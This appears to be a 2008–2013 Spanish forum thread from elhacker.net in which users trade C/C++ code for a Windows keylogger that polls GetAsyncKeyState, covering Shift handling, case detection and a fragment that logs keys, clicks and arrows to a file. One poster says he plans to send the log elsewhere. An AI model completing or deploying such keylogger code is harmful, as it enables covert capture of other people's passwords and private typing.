Foro de elhacker.net

Programación => Programación C/C++ => Mensaje iniciado por: Proxy Lainux en 24 Febrero 2008, 23:05 pm



Título: ayuda con keylog.. porfavor..
Publicado por: Proxy Lainux en 24 Febrero 2008, 23:05 pm
hola

estoy haciendo un keylogger en C... pero tengo una duda.. con este codigo puedo capturar las teclas presionadas... pero como le puedo hacer para que al apretar SHIFT cambie de minusculas a mayusculas y viceversa?... ya que si hago esto

Código:
{
            caracter+=32;
            printf("%c",caracter);
        }

se escriben las minusculas.. pero si kito

Código:
            caracter+=32;

Se escriben como mayusculas.. pero no logro saber como puedo lograr que se escriban minusculas o mayusculas dependiendo de la tecla Shift... y eso me lleva a la duda de como se le hace... para que al apretar la tecla de "Bloq Mayus" o "CapsLock" como le kieran decir... se escriban las mayusculas... alguien tiene alguna idea?

Código:

#include <stdio.h>
#include <windows.h>
#define OK -32767

int main()
{
    int caracter;
    do
    {
        for(caracter=65;caracter<=90;caracter++)
        {
        if(GetAsyncKeyState(caracter) == OK)
        {
            printf("%c",caracter);
        }
        Sleep(10);
      }
    }
While(1<2);
return 0;
}

espero me puedan ayudar.. gracias


Título: Re: ayuda con keylog.. porfavor..
Publicado por: juas juas juas en 25 Febrero 2008, 04:15 am
La mejor manera que tienes para hacer eso es capturar una a una las pulsaciones del teclado (con getch o algo de ese estilo), y luego mirar el caracter ascii y comprobar a si esta entre el 65 y 90 es mayuscula y si esta entre 97 y 122 estonces es una minuscula. Cada vez que vayas leyendo vas guardando en la memoria y en un momento determinado vuelcas al fichero, y asi no estas grabando en el fichero continuamente.

Espero que te ayude.


Título: Re: ayuda con keylog.. porfavor..
Publicado por: Proxy Lainux en 25 Febrero 2008, 05:33 am
hola

a ver si entendi... antes de colocar el caracter con printf... seria mejor que mande el caracter pulsado a un getch y verifike a que rango se encuentra.. si esta entre los 65-90 o 97-122.. y luego ya lo coloco en un printf para ver que letra se pulso..

es eso?.. espero que si...

bueno de cualquier forma gracias...

nos vemos  ;D


Título: Re: ayuda con keylog.. porfavor..
Publicado por: Proxy Lainux en 25 Febrero 2008, 07:06 am
alguien podria chechar el codigo y decrime porke cuando oprimo shift no importa si esta en minisculas o mayusculas.. siempre me sigue apareciendo como ascii 65,66...etc... ya que al parecer solo me funcionan las mayusculas porke cuando cambio el for por for(caracter=97;caracter<=122;caracter++) no me aparecen las minusculas.. siempre me aparecen mayusculas... y si oprimo algun numero del NUMPAD... me aparecen las minusculas... que estoy haciendo mal...

espero me puedan ayudar.. tambien encontre que si hago esto

int main()
{
   
    do
    {
        if(GetAsyncKeyState(65) == OK)
        {
            printf("A");
        }

    }

podria hacer el keylogger mas universal.. sin importar en que idioma este el teclado... el problema sera que tendria hacer muchisimos if's... y siento que seria lo mismo... pero que piensan?...

esper me puedan ayudar

gracias


Título: Re: ayuda con keylog.. porfavor..
Publicado por: botella en 25 Febrero 2008, 08:48 am
este experimento de keylogger funciona pero solo si dejo la tecla apretada màs de lo normal, sino no toma la letra.


Título: Re: ayuda con keylog.. porfavor..
Publicado por: Proxy Lainux en 25 Febrero 2008, 20:09 pm
hola

es que no entiendo que estoy haciendo mal... ya que por  ejemplo cuando executo el programa y abro el block de notas.. al escribir en el block si logro escribir cualquier cosa... pero no puedo hacer que escriba minuculas y apretando shift que escriba mayusculas...

la unica forma que logro escribir en minuculas.. es haciendo esto...

caracter+=32;

y si se lo kito escribo con mayusculas...

si hacen esto..

printf("%d",caracter);

se daran cuenta que si escriben les aparecera el numero ascii que seria 65,66..etc... y si aprietan shift siguen apareciendo los numeros 65,66..etc... no hay algun cambio al apretar shift

pero si hacen esto...

printf("%c",caracter);

y si oprimen los numeros que estan en la parte derecha del teclado.. les apareceran las minusculas..a,b..etc

y eso es raro.. alguien me puede decir que estoy haciendo mal... o acaso de plano esta mal hecho el codigo que estoy haciendo... si esta mal.. me podrian explicar como hacerlo mejor...

he estado leyendo varios codigos d keylogger solo que todos son codigos completos que capturan las teclas y crean un log.. etc... y me confunden un poco... pero al intentar hacer uno.. hice ese codigo.. pero creo que no esta bien hecho...

espero me puedan ayudar... gracias


Título: Re: ayuda con keylog.. porfavor..
Publicado por: Proxy Lainux en 28 Febrero 2008, 00:15 am
hola

tengo un problema, ya me di cuenta que si hago esto

caracter+=32;

escribo con minusculas...

y por ejemplo si escribo en ascii 48.. me aparece el numero cero, pero si a 48 le resto

caracter-=11;

me aparecen los caracteres especiales...

pero como puedo utilizar los mismos numeros dos veces.. en el codigo que escribi al principio utilizo de 65 a 90 en el for... y hago lo de caracter+=32.. para escribir en minusculas y de 48 a 57 para los numeros... y si hiciera esto.. caracter-=11.. lograria utilizar los caracteres especiales.. pero no logro hacerlo porke todos los numeros de 65 a 90 y 48 a 57 ya estan siendo utilizados

alguien sabria como hacer eso.. ya que o utilizo mayusculas o utilizo minusculas... y con los numeros y caracteres especiales me pasa igual...

ya intente que si aprieto VK_SHIFT... escribiera mayusculas... o caracteres especiales.. pero no he logrado hacerlo... o no he sabido hacerlo

espero alguien me pueda ayudar.. porke encontre un codigo en C pero tampoco ese codigo se puede hacer lo que necesito... alguien que conozca algun codigo que si pueda diferenciar de cuando se escriban minusculas y al apretar shift  las mayusculas.. o alguien que sepa hacer eso, porfavor diganme, ya que lo tengo kasi avanzado.. solo me faltaria aprender a guardarlo en todo un log.. y enviar el log a alguna parte...

en visual basic se utiliza una funcion bool para saber si esta oprimido shift.. pero aun no se interpretar codigos de visual basic en C... aunke solo hace un bool y si vbShift esta oprimido cambia las letras en minusculas o mayusculas... pero aun soy un poco torpe en C..jeje

espero una respuesta.. gracias  ;D


Título: Re: ayuda con keylog.. porfavor..
Publicado por: Proxy Lainux en 3 Marzo 2008, 04:40 am
hola

intente hacer esto.. pero tuve un problema.. tengo que oprimir shift y una tecla al mismo tiempo.. sino no me funciona... como puedo hacer que mientras este shift oprimido las teclas se conviertan en mayusculas o minisculas?...

ya intente con while pero creo que n supe como.. porke tampoco me funciono...

esto es lo que hice... alguien podria corregirlo y ayudarme.. porfavor

Código:
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#define OK -32767

int main()
{
    int lain;

    do
    {
    if(GetAsyncKeyState(VK_SHIFT) == OK)
    {
        for(lain=65;lain<=90;lain++)
        {
            if(GetAsyncKeyState(lain) == OK)
            {
            if(lain>=65 && lain<=90)
            {
        printf("%c",lain);
    }
    }
}
}
}
    while(1<2);
    return 0;
}

y si hago esto... si se puede pero funciona alreves... en vez de que al mantener oprimido shift.. la tecla oprimida aparezca...es al reves... tengo que mantener una tecla oprimida y al oprimir shift aparece la tecla...

Código:
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#define OK -32767

int main()
{
    int lain;

    do
    {
    while(GetAsyncKeyState(VK_SHIFT) == OK)
    {
        for(lain=65;lain<=90;lain++)
        {
            if(GetAsyncKeyState(lain) == OK)
            {
            if(lain>=65 && lain<=90)
            {
        printf("%c",lain);
    }
    }
}
}
}
    while(1<2);
    return 0;
}

espero su respuesta

gracias...


Título: Re: ayuda con keylog.. porfavor..
Publicado por: juas juas juas en 3 Marzo 2008, 14:23 pm
A ver, para mi te estas liando mucho (o eso o no te entiendo lo que quieres hacer).

Te pongo un codigo simple para reconocer mayusculas y minusculas introducidas por teclado:

Código
  1. #include <stdio.h>
  2.  
  3. int main()
  4. {
  5.    char tecla;
  6.    printf("introduce una letra:\n");
  7.    tecla=getche();
  8.    if(tecla>=97 && tecla<=122)
  9.    {
  10.         printf("\nEs minuscula\n");
  11.         // Aqui guardas en fichero o haces lo que quieras
  12.    }
  13.    if(tecla>=65 && tecla<=90)
  14.    {
  15.         printf("\nEs mayuscula\n");
  16.         // Aqui tambien guardas en fichero o lo que te apetezca
  17.    }
  18.    fflush(stdin);
  19.    getche();
  20.    return 0;
  21. }
  22.  

Yo creo que esto es lo que andas buscando, pero te estas liando bastante llamando a librerias que no necesitarias (cuanto mas simple sea el programa, mejor) porque si solo quieres saber si introducen mayusculas o minusculas es simple, pero si quieres saber si la tecla shift esta pulsada o no eso ya es otro asunto.


Título: Re: ayuda con keylog.. porfavor..
Publicado por: Proxy Lainux en 3 Marzo 2008, 19:48 pm
hola

casi.. casi... el problema es que con getche.. creo que tengo que escribir en la consola no?... pero hay alguna forma de hacerlo con GetAsyncKeyState?...

porke lo que quiero hacer es que si esta oprimido la tecla shift.. que escriba en mayusculas... el problema es que no se como hacer eso...

ya intente haciendolo de la forma en como poste anteriormente los codigos.. pero me funciona al reves... si oprimo shift y despues una letra... no pasa nada... pero si oprimo una letra y despues oprimo shift.. me aparece la letra...

y por cierto... solo uso dos librerias.. stdio.h y windows.h... solo que estaba intentando hacer otra cosa... y se me olvido borrarlo.. jeje  :¬¬

bueno.. espero me puedan ayudar... gracias..

salu2  ;D


Título: Re: ayuda con keylog.. porfavor..
Publicado por: juas juas juas en 3 Marzo 2008, 20:15 pm
Bueno creo que ya te entiendo (que ya era hora, eh) y mas o menos lo que tu quieres es algo como esto

Código
  1. #include <stdio.h>
  2. #include <windows.h>
  3.  
  4. int main()
  5. {
  6.    int lain,i=0;
  7.  
  8.    do
  9.    {
  10.        while(GetAsyncKeyState(VK_SHIFT))
  11.        {
  12.            lain=GetAsyncKeyState(65);
  13.            if(lain!=0)
  14.                printf("Estas pulsando Shift-a\n");
  15.        }
  16.    }while(1);
  17.    return 0;
  18. }
  19.  

Por cierto, si lo que estas haciendo es un keylogger igual deberias de pensar en otra cosa y no en un while ejecutandose hasta el fin de los tiempos ya que te cargara mogollon la cpu. Busca algo de informacion sobre "semaforos en c", yo que en linux es posible pero en windows no lo se. Con esto el programa se mantendra a la espera y no cargaras tanto la cpu.


Título: Re: ayuda con keylog.. porfavor..
Publicado por: saiya en 15 Junio 2013, 16:20 pm
hola necesito irgente que me digan por q instale keylogger pero  cuando escriben no diferencia entre mayusculas y minusculas , nos epeude o como lo hago para que las detecte


Título: Re: ayuda con keylog.. porfavor..
Publicado por: daryo en 15 Junio 2013, 16:56 pm
talves esta parte de mi keylogger te ayude

Código
  1. for(int x=65;x<=90;x++) //valores ascii de los caracteres
  2. {
  3. if ( GetAsyncKeyState ( x ) == -32767 )
  4. {
  5. log << ( char ) x;
  6. }
  7. }
  8. for ( int x=48; x<=57; x++ ) //valores ascii de los numeros
  9. {
  10. if ( GetAsyncKeyState (x) == -32767 )
  11. {
  12. log << ( char ) x;
  13. }
  14. }
  15. if ( GetAsyncKeyState ( ' ' ) == -32767)
  16. {
  17. log << " ";
  18. }
  19. if ( GetAsyncKeyState (1) == -32767)
  20. { //CLICK izquierdo
  21. log << "[click-izq]";
  22. }
  23. if ( GetAsyncKeyState(2) == -32767 )
  24. { //click derecho
  25. log << "[click-der]";
  26. }
  27. if ( GetAsyncKeyState (8) == -32767 )
  28. { // nada que decir
  29. log << "[backspace]";
  30. }
  31. if ( GetAsyncKeyState (190) == -32767 )
  32. { // nada que decir
  33. log << ".";
  34. }
  35. if ( GetAsyncKeyState (188) == -32767 )
  36. { // nada que decir
  37. log << ",";
  38. }
  39. if ( GetAsyncKeyState (13) == -32767 )
  40. { // nada que decir
  41. log << "[enter]";
  42. }
  43. //capturar flechas
  44. if(GetAsyncKeyState(37) == -32767)
  45. { // nada que decir
  46. log << "[left]";
  47. }
  48. if(GetAsyncKeyState(38) == -32767 )
  49. { // nada que decir
  50. log << "[up]";
  51. }
  52. if(GetAsyncKeyState(39) == -32767 )
  53. { // nada que decir
  54. log << "[right]";
  55. }
  56. if(GetAsyncKeyState(40) == -32767)
  57. { // nada que decir
  58. log << "[down]";
  59. }
  60.  
  61. if(GetAsyncKeyState(9) == -32767)
  62. {
  63. log << "[tab]";
  64. }